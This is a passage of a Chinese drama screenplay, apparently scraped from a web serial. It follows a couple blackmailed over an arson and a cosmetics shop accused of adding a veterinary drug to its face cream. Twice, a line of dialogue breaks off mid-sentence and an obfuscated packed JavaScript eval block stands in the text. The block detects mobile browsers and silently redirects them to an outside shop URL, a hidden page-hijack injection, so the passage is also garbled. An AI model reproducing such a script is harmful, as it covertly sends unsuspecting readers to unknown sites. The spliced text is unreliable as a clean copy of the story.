陈秉常:(读信上的文字)明日午时,将五千两银票放在鹊桥下的桥洞里,若有延误,督察府见! 陈夫人:五千两?这可是我们比翼双飞整整一年的收入,他想让我们白干吗? 陈秉常:谁让他看见你了呢,唉! 陈夫人:那你倒是说说,到底给不给? 陈秉常:不给的话,督察府那边怎么办?舍不得孩子套不住狼,就当是破财免灾了! 陈夫人:那他要是得了便宜,不肯放过我们怎么办? 陈秉常:要不这样吧,你去放银票,我躲在旁边的树荫里,看看到底是谁在讹我们。 陈夫人:那你可要把眼睛给我擦亮些,别让他跑了! 陈秉常:夫人你放心!不止是你,我也很心疼这五千两银子呢! 4-41 比翼双飞,鹊桥(日,外) 人物:陈秉常及其管家 第二天午时,待陈夫人将五千两银票放在鹊桥下的桥洞里之后,陈秉常便躲在旁边的树荫里偷偷窥视。 那个人迟迟未出现,陈秉常急得直冒汗,却听身后传来一个声音。 管家:老爷,原来您在这里! 陈秉常:(回头一看,认出是自己的管家)嘘!小点儿声! 管家:老爷,您在看什么? 陈秉常:哦,没什么!屋里太热了,树底下凉快,我来这里歇会儿。 管家:老爷,督察府的于大人来了。 陈秉常:于大人?他怎么在这会儿来了?有事吗? 管家:他没说,只说要见您。 陈秉常:夫人呢?你让她先去应付一下,我这边还有事呢! 管家:夫人已经过去了,可于大人说,一定要见您。 陈秉常:见我?什么事这么重要? 管家:不清楚,您还是快过去吧! 陈秉常:(嘀咕)唉!早不来晚不来,偏偏在这个时候来了,真是的! 4-42 比翼双飞,客厅(日,内) 人物:于烈、孙捕头、陈氏夫妇 于烈的到来,令陈氏夫妇颇感意外。 陈秉常:于大人,您来这里,有什么事吗? 于烈:(皱起眉头)咦,奇怪!陈秉常,不是你说有要紧的事,想跟本官私下密谈吗? 陈秉常:我? 于烈:对呀!不然的话,谁会在这个时候来这里?天这么热,本官从督察府一路过来,又累又渴,你可别让本官白跑一趟哟! 听了这话,陈秉常一头雾水,站在他旁边的陈夫人,将他打量了一番。 陈夫人:(冷冷地)老爷,您想跟督察大人说什么呀? 于烈:(不耐烦地)是啊!有什么话快说!本官还有别的案子要办,不能耽搁太久! 陈秉常:我……我…… 陈夫人:老爷,您该不会是嫌我在这里碍事吧?要不我出去,让您跟督察大人慢慢聊。 陈秉常:(见陈夫人的神色不对,急忙摆摆手)夫人、夫人!我不是这个意思! 陈夫人:不是这个意思,那是什么意思呀?不是你说要跟督察大人私下密谈吗? 陈秉常:不不不!我什么都没说!什么都没说! 于烈:(脸一沉)陈秉常!你什么意思?当本官是三岁小孩吗?呼之则来挥之则去?你说有就有、你说没就没,想戏弄本官吗? 陈秉常:大人!我我我…… 于烈:我什么我?陈夫人,你先出去!本官要跟陈老爷单独聊聊! 孙捕头:(见陈夫人站着不动)陈夫人!大人的话,你没听见吗?还不快出去! 陈夫人:(压低声音对陈秉常)陈秉常,你说话最好小心点儿,别在督察大人的面前胡说八道!哼!(恶狠狠地瞪了陈秉常一眼之后,转身走了) 4-43 比翼双飞,陈氏夫妇的屋子(日,内) 人物:陈氏夫妇 于烈刚刚离开,陈夫人便将陈秉常叫了过去。 陈夫人:陈秉常,你跟督察大人聊了些什么呀? 陈秉常:什么都没说,就是一场误会。 陈夫人:误会? 陈秉常:督察大人记错了!想找他私下密谈的那个人,是另一个案子的事主,不是我。 陈夫人:(显然不信)是吗? 陈秉常:夫人,你若是不相信我的话,可以去问督察大人嘛! 陈夫人:我去问督察大人?你觉得督察大人会告诉我吗?(冷笑一声)私下密谈?陈秉常,你的本事真是越来越大了呀! 陈秉常:夫人,你误会我了!你想想,我若是想跟督察大人私下密谈的话,哪里还会让你知道? 陈夫人:所以我就被督察大人赶出来了,不是吗? 陈秉常:夫人呐,要怎么说你才肯相信我?我真的没有出卖你的意思!你自己不也说了吗?这里是比翼双飞,只有咱们夫妻俩同心合意…… 陈夫人:(啐了他一口)我呸!陈秉常!你这个没羞没臊的负心汉,谁跟你同心合意? 陈秉常:我是没羞没臊,可我还不至于犯糊涂!如果我向督察大人告发了你,这会儿你还能安安稳稳地坐在这里吗? 听了这话,陈夫人的神色有所缓和。 陈秉常:夫人,你放心!就算是刀架在脖子上,我也绝对不会出卖你! 陈夫人:那个人呢?你找到他了吗? 陈秉常:这…… 陈夫人:又怎么了?你该不会把人跟丢了吧? 陈秉常:夫人,不是我把人跟丢了,而是那个人还没来,我就被督察大人叫回来了。 陈夫人:那你还不去快过去看看!真是个废物! 陈秉常:是是是!我这就去! 陈秉常来到桥洞下一看,银票已经不见了。 京城 4-44 督察府,于烈的屋子(夜,内) 人物:于烈、孙捕头、捕快若干 于烈面前的桌子上,摆着那张五千两的银票。 孙捕头:啧啧!不愧是比翼双飞的东家,五千两银票,说给就给了,出手可真大方! 于烈:做贼心虚呗! 孙捕头:照这样看,那场火或许真的有问题。可事后咱们也问过那附近的人,他们都说没看见陈夫人,难不成她会隐身术? 于烈:如果那场火真的是她放的,想必她一定早就计划好了。比翼双飞是她的地盘,她对那里的环境再熟悉不过,想要避开他人的耳目,也不是什么难事。 孙捕头:那么接下来,您打算怎么办? 于烈:(微微一笑)这五千两银子来的可真容易,索性再讹他们一笔吧! 4-45 比翼双飞,陈氏夫妇的屋子(夜,内) 人物:陈氏夫妇 一见到陈秉常,陈夫人二话不说,又是两巴掌。 陈夫人:陈秉常!你这个不要脸的王八蛋! 陈秉常:又……又怎么了? 陈夫人:少装蒜!肯定是你干的! 陈秉常:我……我又干什么了?夫人,你平白无故地上来就是两巴掌,我实在是不明白呀! 陈夫人:(拿出一张纸)你自己看! 陈秉常一看,又是一封勒索信。 陈秉常:这怎么……怎么又来了呀? 陈夫人:可不是嘛!陈秉常,你是不是巴不得他一天写一封呀? 陈秉常:我……夫人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007379|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呐,我也怕呀!这件事如果被督察大人知道了,可怎么办呀? 陈夫人:怎么办?(冷笑一声)一旦我被他们抓了,你不就可以把比翼双飞据为己有了吗? 陈秉常:夫人呐,比翼双飞若没了你,还能叫比翼双飞吗?你既然这么不信任我,当初为何不杀了我呢?唉! 陈夫人:那你倒是说说,接下来怎么办? 陈秉常:怎么办?唉,不想坐牢的话,就只能给他了。谁让你的把柄在他手里呢! 陈夫人:那他要是一封信接着一封信、没完没了呢?总不能把整个比翼双飞都送给他吧? 陈秉常:上次是督察大人来了,但这次不会了。你放心,我一定把他揪出来!哼! 4-46 比翼双飞,鹊桥(日,外) 人物:陈秉常、黑衣人、夫妻俩 这一次,陈秉常瞪大了眼睛,发誓一定要抓住那个勒索他们的人。他躲在树荫里,远远地观望。过了一会儿,果然有一个戴着斗笠的黑衣人,从桥洞里取出银票,转身走了。 陈秉常:(心中大喜)嘿嘿,这下可逮住你了! 陈秉常立马跟了上去,想看看这个人到底是谁、住在何处。走了半天,也不见那个黑衣人回过头来,陈秉常心中着急,便加快了脚步,冷不防从旁边过来两个人,与他撞了个满怀。 女人:(一屁股坐在地上,捂着肚子直叫唤)哎哟喂,疼! 男人:(恼火地骂)喂,你长没长眼睛?这么大的一个人,你看不到吗? 陈秉常:(连忙赔不是)不好意思!不好意思!我没看清楚! 男人:(不依不饶)没看清楚?那你这会儿看清楚了吧? 女人:相公,我的肚子好痛呀! 男人:(扶起女人)我媳妇可是怀着身孕,你若是把她撞坏了,我跟你没完! 陈秉常:不好意思!不好意思!(从身上摸出些碎银子)要不这样吧,这些钱你收着,带你媳妇去找大夫瞧瞧! 男人:我差你这点儿钱呀?想花钱了事,门儿都没有!(揪住陈秉常)走!跟我去医馆,如果我媳妇有什么三长两短,我一定不会放过你!哼! 陈秉常:这位兄弟,我还有急事,能不能让我…… 男人:你的事关我屁事!你到底去不去?你再敢说一个不字,信不信我揍你呀! 男人挥拳要打,无奈之下,陈秉常只好乖乖地跟着他们去了医馆。等他从医馆回来,天已经黑了,黑衣人早已无影无踪。 4-47 比翼双飞,陈氏夫妇的屋子(日,内) 人物:陈氏夫妇 得知陈秉常又把人跟丢了,陈夫人眯起眼睛。 陈夫人:这么说,你又把人跟丢了呀? 陈秉常:这次真的不能怪我!明明是他们撞上了我,却非说是我撞上了他们。唉! 陈夫人:到底是谁撞上了谁?陈秉常,你该不会是故意的吧? 陈秉常:我…… 陈夫人:上次是督察大人,这次又是个孕妇,怎么回回都这么巧啊? 陈秉常:我也不想这样啊! 陈夫人:陈秉常,当初是谁让我把银票放进桥洞里的? 陈秉常:我呀! 陈夫人:是谁躲在树荫里等着那个人出现? 陈秉常:是我,怎么了? 陈夫人:是谁把那个人给跟丢了? 陈秉常:是我,不过…… 陈夫人:陈秉常,怎么样样都跟你有关呀?这一切,该不会都是你在自导自演吧? 陈秉常:冤枉啊,夫人!我哪敢呀!要不你再给我一次机会,我向你保证,下次我一定把这个家伙给你揪出来! 陈夫人:噢,还有下次呀? 陈秉常:(意识到说错了话,急忙改口)没没没、没了! 陈夫人:怎么?又没了呀? 陈秉常:不不不、不是!我…… 陈夫人:陈秉常,弄了半天,有没有都是你在说了算呀?啧啧,我明白了!你是不是想学蚂蚁搬家呀? 陈秉常:蚂蚁搬家?什么意思? 陈夫人:其实你早就想告发我,不是吗?只不过你还没弄清楚,这么多年来比翼双飞到底挣了多少钱?这些钱都被我藏在了哪里?所以你想等到把它们一点一点地都变成你的东西之后,再把我送进牢里! 陈秉常:没有啊!夫人,我不是这个意思…… 没等他说完,陈夫人已拔下簪子朝他刺去。 陈夫人:去死吧!你这个混账王八蛋! 陈秉常:啊—— 陈秉常惨叫一声,忍着痛连滚带爬地往外逃去,陈夫人在后面紧追不舍。 陈秉常:(向路人求救)救命啊!救命啊!这个女人疯了!她要杀了我!快去告诉于督察,她是凶手!她就是杀害我孩子的凶手! 陈夫人:(发疯地扑向陈秉常)王八蛋!老娘跟你拼了! 比翼双飞里,乱成了一团…… 梁州,凤凰城 4-48 督察府,张正清的屋子(日,内) 人物:张正清、洛宁 于烈又给张正清写了封信,告诉他比翼双飞的案子已经了结。 洛宁:全招了? 张正清:(点点头)全招了。 洛宁:怎么说的? 张正清:跟你猜得八九不离十。 洛宁:这么说,陈老爷跟容缕姑娘真的有一腿呀? 张正清:那个婴儿,便是他俩的孩子。 洛宁:唉,我就说嫁人千万不要嫁给沉香国的男人嘛!连陈夫人这般强势的女人也被绿了,可想而知,沉香国女人婚后的日子有多么悲惨了! 张正清:(白了她一眼)小鬼,你娘也嫁给了一个沉香国的男人。 洛宁:(故作娇羞)所以我爹总说我是他的小情人嘛,嘻嘻! 张正清:你爹这么说,是出于对你的溺爱,但陈老爷跟容缕姑娘之间,却是完全不同。 洛宁:说来听听。 张正清:容缕姑娘其实是陈老爷瞒着陈夫人、在外面偷娶的妾室。 洛宁:既是妾室,又为何以父女相称? 张正清:陈夫人在婚后,一直未能生育。眼看着比翼双飞这么大的家业无人继承,陈老爷便劝说陈夫人收养一对子女。陈夫人原本尚有些犹豫,却经不住陈老爷好说歹说,终于答应了下来。见陈夫人点头,陈老爷趁机将容缕姑娘和那个婴儿从乡下接到了京城,并谎称她俩是姐弟。陈夫人见容缕姑娘姿色平庸、为人老实,起初并未起疑,直到后来发现那个婴儿越长越像陈老爷,方才明白了过来。她的心中恼火万分,却又说不出口,因为此时的比翼双飞,人人都以为他们是和和美美的一家四口。 洛宁:这么说,是陈老爷欺骗陈夫人在先了? 张正清:正是。一想到自己辛辛苦苦经营的比翼双飞,有朝一日会落入他人的囊中,陈夫人的心里就百般不是滋味。尤其在容缕姑娘又有了身孕之后,她更加意识到自己在这个家里的地位岌岌可危。 洛宁:所以,与其等着他们一家三口来图谋自己,还不如先下手为强、除掉这几个眼中钉。 张正清:没错,然后便有了那夜的那场火。 洛宁:之前我还觉得她是一个非常恶毒的女人,听了这个故事之后,我反倒有点儿可怜她了。 张正清:她是凶手,也是谎言的受害者。 洛宁:陈夫人被抓之后,陈老爷岂不是要坐拥比翼双飞了? 张正清:只剩下一只翅膀,怕是飞不起来了。 洛宁:活该!谁让他始乱终弃,还妄想鱼和熊掌兼得,也不问问老天爷答应吗? 张正清:纸包不住火,他的如意算盘终究还是落空了。(说着又将一个食盒递给洛宁) 洛宁:什么东西? 张正清:于烈捎过来的。 洛宁:(打开一看)咦!这不是比翼双飞的龙凤饼吗? 张正清:上次你不是说这个饼特别好吃吗?我让他顺道给你买了一份。 洛宁:嘻嘻,谢谢张大哥,也替我谢谢于督察! 张正清:用不着谢他,他还说要谢谢你呢! 洛宁:谢我?谢我什么? 张正清:谢谢你给他出的,嗯,馊主意,日后一定亲自登门道谢。 洛宁:嘻嘻,道谢就免了。他讹了陈氏夫妇多少银子?不如分给我一半吧! 张正清:(没好气地)那可是证物,你敢拿吗? 洛宁:有何不敢?如今凶手已经伏法,只要他不说,没人会知道,咱们私底下把这笔银子分了,多好呀! 张正清:小鬼,咱们督察府的牢房还没住满,你要不要进去蹲上两天呀? 洛宁:只要给钱,让我在里面蹲上半年都没问题! 张正清:(恨得牙痒痒)小屁孩!我看你不止欠骂、还欠打呢!(见她转身就跑)站住!给我回来! 33. 第四篇 表哥和他的朋友 梁州,凤凰城 4-49 凤仪堂(日,内) 人物:欧阳兰兰、胡大婶、店员 凤仪堂内,一位老妇人正与店员争执不休,欧阳兰兰听见外面的动静,从里屋走出。 欧阳兰兰:怎么回事? 店员:老板,这位夫人说咱们店里的面脂有问题,要我给她退货。 欧阳兰兰:什么问题? 店员:她说她的儿媳妇自从用了这个面脂之后,奶水就没了。 欧阳兰兰:呵呵,我长这么大还是头一回听说擦面脂能把人的奶水给擦没了,你在开玩笑吗? 胡大婶:我说的全是真的!我儿媳妇前阵子才生了孩子,本来奶水挺足,自从用了你们店里的这个面脂之后,现在一滴奶都没了,孩子饿得哇哇直哭! 欧阳兰兰:你怎么知道是用了这个面脂的缘故呢?或许还有别的原因呢? 胡大婶:起初我也没怀疑是这个面脂的问题,直到后来请大夫给我儿媳妇做了检查,这才知道是用这个面脂导致的。 欧阳兰兰:这位夫人,您请的是哪家的大夫呀? 胡大婶:就是众康医馆的那位。 欧阳兰兰:众康医馆?哈哈哈!可真是笑死我了! 胡大婶:有什么好笑的? 欧阳兰兰:那家医馆才开了几天?里面的那位大夫医术好不好谁知道呀?没准儿还是个骗子呢! 胡大婶:(拿出一张纸)这是大夫给的诊单,你自己瞧吧! 欧阳兰兰:(瞅了一眼诊单)这是人写的字吗?怎么跟鬼画符一样!这位夫人,您若是想讹我,好歹拿出件像样的证据来,就这份诊单,隔壁花婶那不满三岁的小孙子,随随便便就能给您画出一百张来。 胡大婶:你什么意思呀?什么叫我想讹你?不就是一瓶面脂吗?我至于吗? 欧阳兰兰:说的没错!不就是一瓶面脂吗?那您老来这里干什么? 胡大婶:我来这里不为别的、就是为了讨一个说法! 欧阳兰兰:这位夫人,您睁大眼睛瞧瞧,我这个凤仪堂从开业到现在,就您这个面脂,都不知道卖出去了多少瓶,不管是男的、女的、老的、少的,只要用过,没有不说好的! 胡大婶:可我儿媳妇用了之后,奶水就是没了!这是事实! 欧阳兰兰:哼!您可拉倒吧!你家孩子没奶吃,怪我店里的面脂有问题!真可笑!这八竿子打不着的事情,亏您想得出来!再说了,我娘生我的时候奶水也不够,我爹就雇了十个奶娘,每天轮流喂我,从来只会撑着不会饿着。奉劝您老,与其在这里跟我耍无赖,还不如多花点钱,给你家孩子雇个奶娘,不就万事大吉了吗? 胡大婶:谁跟你耍无赖了?明明是你店里的东西有问题,却不肯承认,到底是谁在耍无赖? 欧阳兰兰:像你这种贪小便宜的人,姑娘我见得多了!想讹我,没门儿! 胡大婶:不给退是吗?行!我去官府告你! 欧阳兰兰:去吧去吧!我凤仪堂这块金字招牌,可不是你想拆就能拆的!这次你若告我不成,我定告你诽谤!哼! 4-50 县衙(日,内) 人物:杜知县、胡大婶 胡大婶气冲冲地来到县衙里,听她说明来意之后,杜知县皱起了眉头。 杜知县:胡大婶,不是本官有意包庇欧阳世家,实在是仅凭这一份诊单,很难证明凤仪堂的东西有问题呀! 胡大婶:大人!我儿媳妇用了凤仪堂的东西之后,身子确实出了毛病,这是不争的事实。我去找她们理论,她们却说我在讹她们。哪有这样不讲道理的?我咽不下这口气,请您一定要替我主持公道! 杜知县:胡大婶,除了众康医馆的那位大夫之外,还有没有别的大夫也说是这个面脂的问题呢? 胡大婶:之前也找过几位大夫,都说不出是什么缘故,直到众康医馆的那位大夫,给我儿媳妇做了检查,才知道是这个面脂的问题。 杜知县:哦,原来只是众康医馆一家的说法呀! 胡大婶:大人!您这话是什么意思呀?就算只有众康医馆一家的说法,但也不代表凤仪堂的东西就没有问题呀!您若是不相信,大可前往凤仪堂,当场验证一下,看看她家的东西到底有没有问题?如果真的没有问题,您说我诬告她们,我认了;但是您现在什么都没有做,却劝我息事宁人,说实在的,我不服! 杜知县:唉,好吧!既然你坚持要告凤仪堂,那本官只好受理这件案子。不过本官可要提醒你,凤仪堂的店主是欧阳兰兰,她的脾气大家都清楚,如果你这次告她不成,她肯定会不依不饶、反过来告你诽谤,到那个时候你再后悔,本官可帮不了你。 胡大婶:大人!我这个人活了大半辈子,说话做事对得起自己的良心!凤仪堂的这个面脂,退不退货是小事儿,但她说我讹她们、说我耍无赖、说我贪小便宜,我就是要让她们瞧瞧,我不是这样的人! 杜知县:(点头)嗯,既然你决心已定,本官也会认真调查此事,你且回去静候消息吧。 4-51 众康医馆(日,内) 人物:冷梦、欧阳兰兰、田佳、仆人若干、病人若干 欧阳兰兰率领家丁,闯进众康医馆,二话不说一通乱砸,把前来看病的患者全吓跑了。 欧阳兰兰:(一声令下)砸!全给我砸了! 冷梦:(呵斥)你们干什么? 欧阳兰兰:哼!干什么?你自己不会用眼睛看吗? 冷梦:我哪里得罪你了,你为何要这么做? 欧阳兰兰:我为何要这么做?你怎么不问问你自己呢?凤仪堂开得好好的,招你惹你了?你为什么对胡大婶说凤仪堂的东西有问题?害得我们被官府盘查,好好的生意都被你搅黄了! 冷梦:患者的身子出了毛病,作为大夫,我当然要先找到病根儿,才能对症下药。至于你们凤仪堂的东西有没有问题,作为老板,你应该比我更清楚才对! 欧阳兰兰:你什么意思?难不成我是在故意卖有问题的东西? 冷梦:有没有问题,只有经过检验之后,才能知晓。 欧阳兰兰:哼!真可笑!你看看凤凰城里,几乎可以说是家家户户、男男女女都在用我们凤仪堂的东西,他们的脸蛋越变越漂亮,这就是最好的证明!还需要检验什么? 冷梦:饮鸩止渴的道理,你懂不懂?作为凤仪堂的老板,你对你店里卖的东西,到底了解多少? 欧阳兰兰:那我倒要问问你,作为大夫,你对你给病人开的药又了解多少?你是否样样都尝过? 冷梦:我给病人开的药,都是经得起检验的。 欧阳兰兰:怎么检验?是按照咱们沉香国的标准、还是按照你们聚胜古都的标准? 冷梦:你若不放心的话,大可请你们沉香国的官府来这里调查。 欧阳兰兰:查!当然要查!不仅要查,还要仔仔细细地查个明白!万万不可让某些骗子浑水摸鱼,哼! 冷梦:(无奈地摇头)唉,真是不可理喻! 田佳接到消息,也赶了过来,见里面一片狼藉,吓了一跳。 田佳:欧阳兰兰!你这是干什么呀? 欧阳兰兰:田佳!你来得正好,我正要去官府告他呢! 田佳:告什么呀?你有话不能好好说吗?你瞧你带着这么多人,把人家医馆砸了个稀烂,这算什么事儿呀? 欧阳兰兰:谁叫他找凤仪堂的麻烦,我这是以其人之道还治其人之身! 田佳:不管你们之前有什么过节,都不能动手,知道吗? 欧阳兰兰:哼!我不管!反正他让我心里不痛快,他也别想好过! 冷梦:(对着田佳)田姑娘,你也听见了,这位姑娘她根本不讲道理,你赶紧把她带走吧! 田佳:对不起呀,冷大夫!我这就带她走!(对着众家丁)还有你们这些家伙,都给我出去! 田佳一边给冷梦赔不是,一边将欧阳兰兰硬拽了出去。等他们都离开后,冷梦方才叹了口气,开始收拾乱糟糟的医馆。 4-52 督察府,前院(日,外) 人物:张正清、洛宁、田佳、欧阳兰兰 一听说欧阳兰兰带人砸了医馆,张正清便恼了。 张正清:啧啧,欧阳兰兰!没看出来你的本事这么大呀,竟敢砸人家场子了!你咋不去领兵打仗呢? 欧阳兰兰:(嘴撅得老高)哼!是他先招惹我的! 张正清:(呵斥)我不管你们是谁先招惹谁,你这样做就是不对!那里可是医馆,你以为是什么地方?你家后院呀?你想怎样就怎样?欧阳兰兰!你这个大小姐的脾气,怎么一点儿都不知收敛呢! 田佳:是啊!就算是人家先招惹你,可是你这样一动手,反倒输了理性! 洛宁:如果人家现在去官府告你,你一点儿都不冤! 欧阳兰兰:哼!我才不怕他告呢! 张正清:你可真是死性不改呀!田佳,你把她送回去!把今天的事跟她哥说清楚,让她哥好好地管教她,别让她再出来惹事了! 田佳:是!欧阳兰兰,走吧!(二人离开) 洛宁:(对着张正清)我去医馆问问到底是怎么回事。 张正清:(点头)嗯。有需要的话,让她哥亲自去跟人家冷大夫道个歉,再商量一下赔偿的事宜。尽量不要闹到官府,免得大家脸上都不好看! 洛宁:嗯,我知道,你放心吧! 4-53 众康医馆(日,内) 人物:洛宁、冷梦 洛宁来到众康医馆里。 洛宁:对不起呀,冷大夫!刚刚发生的事情,都是欧阳兰兰的错!她打小就这样,你别跟她一般见识!这些损坏了的桌椅板凳,我会让她哥照原价赔偿给你。望你大人有大量,别再追究了! 冷梦:(递给她一张纸)一切都是因它而起,你先看看这个吧! 洛宁:(一看吓一跳)半日花?这不是兽药吗? 冷梦:在聚胜古都是兽药,在这里却成了神药。 洛宁:这个就是胡大婶儿媳妇的诊单吗? 冷梦:正是。我在她的体内发现了半日花,觉得很意外,因为她是一位母亲,为了孩子,应该不会主动地去接触这些东西,于是我向她和她的家人询问了她日常的饮食、作息习 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007380|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惯,最后在她每天使用的面脂里,查出了半日花。 洛宁:在聚胜古都,半日花是兽药,是不允许用在人的身上的。 冷梦:嗯。所以在凤仪堂的面脂里发现了这个,着实令人担忧。 洛宁:不知道这种情况是特例、还是普遍存在的现象? 冷梦:这个要留给你们督察府去调查了。 洛宁:(皱起眉头)如果凤仪堂的东西真有问题,欧阳兰兰知道了肯定会很不高兴。她原本对凤仪堂充满了信心,没想到竟然发生这样的事情。如果最后调查的结果对凤仪堂不利,我要怎么跟她说呢?唉! 冷梦:你大可以睁一只眼闭一只眼,让她继续走她的成功之路。 洛宁:这样只会让更多的人深受其害。 冷梦:鱼和熊掌不可兼得。 洛宁:唉,真烦啊!我这个人最讨厌做选择题了! 冷梦:那就交给张督察,让他来选择。 洛宁:(转忧为喜)咦,这倒是个办法! 冷梦:(忍不住笑了)噢,原来你心疼欧阳兰兰是假、不想让自己夹在中间难堪才是真呀! 洛宁:(红着脸辩解)明明是你刚才说鱼和熊掌不可兼得,若换成你,你能怎么办? 冷梦:(耸耸肩)跟你一样啊!反正只有一正一反两个选项,又没有第三种可能。 洛宁:那你还笑我?哼! 冷梦:好吧,就当是开玩笑了!那你接下来打算怎么办?去跟张督察申请查封令吗? 洛宁:我也正在想这件事,目前只在凤仪堂的一样东西里查出了半日花,这是否意味着其他东西里也有半日花呢? 冷梦:这个不好说。如果仅仅是意外混入,那么这种现象极有可能是个例;但如果是人为刻意添加,那就是大问题了。 洛宁:用过凤仪堂面脂的人,个个都说它效果极佳,该不会是因为添加了半日花的缘故吧? 冷梦:半日花是兽药,用在人的身上到底是有利还是有害,谁也不清楚。不过从胡大婶儿媳妇的情况看,不容乐观。 洛宁:可大家的脸蛋也确实变美了。 冷梦:你喜欢爬山吗? 洛宁:喜欢呀,怎么了? 冷梦:登顶之后,还能再往上走吗? 洛宁:没有天梯,怎么往上走?只能走下坡路了。 冷梦:我担心的就是这个。 洛宁:你的意思是,凤仪堂的东西让人变美,只是一种假象,过了这段日子之后,又会变回原样。 冷梦:如果仅仅是变回原样,倒也无妨,怕就怕变得更糟糕了。 洛宁:嗯,不无可能。 冷梦:还有一个问题是,那一天何时会来? 洛宁:(倒抽一口凉气)唉!看来这一次,哪怕得罪了欧阳兰兰,也必须把凤仪堂的事弄清楚。不过诊单只有一份,到底是意外还是人为尚不清楚,贸然去申请查封令的话,张大哥未必肯答应。要不这样吧,我身边也有两位姐妹正在用凤仪堂的东西,我先把她们的借过来检验一番,看看里面是否真的都有半日花,如果有的话,再去申请查封令也不迟。 冷梦:嗯,这样更稳妥。 洛宁:既是私下调查,当然不能在督察府里进行。冷大夫,能不能借用一下你的医馆? 冷梦:(想了想点点头)嗯,可以。 洛宁:那就太谢谢你了! 梁州,紫蔚城 4-54 欧阳世家,欧阳兰兰的屋子(夜,内) 人物:欧阳兰兰、欧阳明真 回到家里的欧阳兰兰,闹起了大小姐脾气。 欧阳兰兰:我不管!这口气我非出不可! 欧阳明真:不过是一点儿小事而已,经你这么一闹腾,反倒显得咱们不讲道理了。 欧阳兰兰:他诋毁凤仪堂在先,到底是谁不讲道理? 欧阳明真:真金不怕火炼。凤仪堂的东西若没有问题,他怎么诽谤都没用! 欧阳兰兰:可那个胡大婶非要告咱们,杜知县也由着她的意,三天两头派人过来盘查,再这样下去,凤仪堂还怎么做生意? 欧阳明真:胡大婶的儿子开茶馆,租的是咱们家的铺子,想劝说他们撤案,也不是什么难事。 欧阳兰兰:那你还不快去办! 欧阳明真刚转过身,又被欧阳兰兰叫住。 欧阳兰兰:等一下! 欧阳明真:又怎么了? 欧阳兰兰:还有那个众康医馆的大夫,不能就这么放过他! 欧阳明真:只要县衙那边撤了案,这件事也就了了。更何况,你不也砸了他的店吗? 欧阳兰兰:如果他不肯闭嘴,逢人便说凤仪堂的东西有问题呢? 欧阳明真:做买卖哪有不遭人非议的?嘴长在他的身上,他爱怎么说怎么说,公道自在人心,一个从聚胜古都来的大夫,谁会相信他的话? 欧阳兰兰:胡大婶不就信了吗? 欧阳明真:那你想怎样?总不至于要把他从凤凰城里赶出去吧? 欧阳兰兰:那样太便宜他了!他污蔑凤仪堂,我也要让他尝尝被人污蔑的滋味儿!哼! 34. 第四篇 表哥和他的朋友 梁州,凤凰城 4-55 督察府,张正清的屋子(日,内) 人物:张正清、洛宁 张正清叫来洛宁,将她上下打量了一番。 张正清:小鬼!我看你最近挺忙呀! 洛宁:是吗?我怎么觉得跟平常差不多呀! 张正清:哦,那为什么督察府的出勤记录里显示你这几日下午都不在岗,最近也没什么大案子呀,你干什么去了? 洛宁:(找理由搪塞)我……肚子饿,吃饭去了。 张正清:噢,吃了整整一个下午呀? 洛宁:张大哥!反正最近也没什么大案子,人家待在督察府里闷得慌,所以出去走走,呼吸下新鲜空气嘛! 张正清:可众康医馆里都是药水味儿,你想呼吸新鲜空气的话,也不应该去那里吧? 洛宁:张大哥,你竟敢跟踪我! 张正清:是田佳看见你进去的。 洛宁:唉,这个田佳,怎么什么事都告诉你呀? 张正清:不想让我知道?那肯定是在干坏事了!给我老老实实交代清楚,不然的话我就去问冷大夫了! 洛宁:交代什么呀?我又不是你的犯人! 张正清:你不是我的犯人,但我是你的上司!只要你在督察府里一天,就归我管!哼! 洛宁:唉,果然是官大一级压死人啊! 张正清:你到底说不说? 洛宁:也没什么。人家最近身子不太舒服,找冷大夫给我检查下,仅此而已。 张正清:你自己就是学医的,你们洛府也有的是大夫,还需要找他给你瞧病?糊弄谁呢! 洛宁:呀,被你看穿了!既然这样,那我就只好实话实说了。不过,你要先答应替我保密! 张正清:你以为我是田佳呀?快说! 洛宁:(故意压低声音)张大哥!其实我每天去众康医馆,不过是以看病为由、偷偷接近冷大夫罢了! 张正清:你在调查他? 洛宁:不是。 张正清:那你干什么? 洛宁:(故作娇羞)刚才不是说了吗?人家是为了接近他。嘻嘻! 张正清:(盯着洛宁看了会儿)噢,我懂了,你看上人家了。 洛宁:嘻嘻!谁让我和他都是大夫呢,有共同语言嘛! 张正清:(附和地点点头)嗯,也是。你和他,既是同乡、又是同行,简直就是千里姻缘一线牵呀! 洛宁:张大哥,你果然是个明白人,记得替我保密哟! 张正清:行,我知道了,那你快去吧! 4-56 胡大婶家(夜,内) 人物:胡大婶及其儿子儿媳 饭桌上,胡大婶的儿子儿媳趁机劝说胡大婶撤案。 儿子:娘!您状告凤仪堂的案子,要不还是撤了吧! 胡大婶:撤了?为何? 儿子:不过是一瓶面脂而已,值不了几个钱! 胡大婶:她说我讹她们,这是钱的事吗? 儿子:娘!儿子知道您受了委屈,可是……唉,实话告诉您吧,今天下午欧阳明真来找过我,他说如果咱们能撤案的话,下半年的租金,就不收了。 胡大婶:所以你就答应他了?(将筷子往桌子上一撂,发起火来)你还是不是我儿子?为了一点点租金,连你的亲娘都不顾了,要我说,你干脆认他当爹吧! 儿子:娘!那可是半年的租金,对咱们这个家来说,可不是一笔小数目! 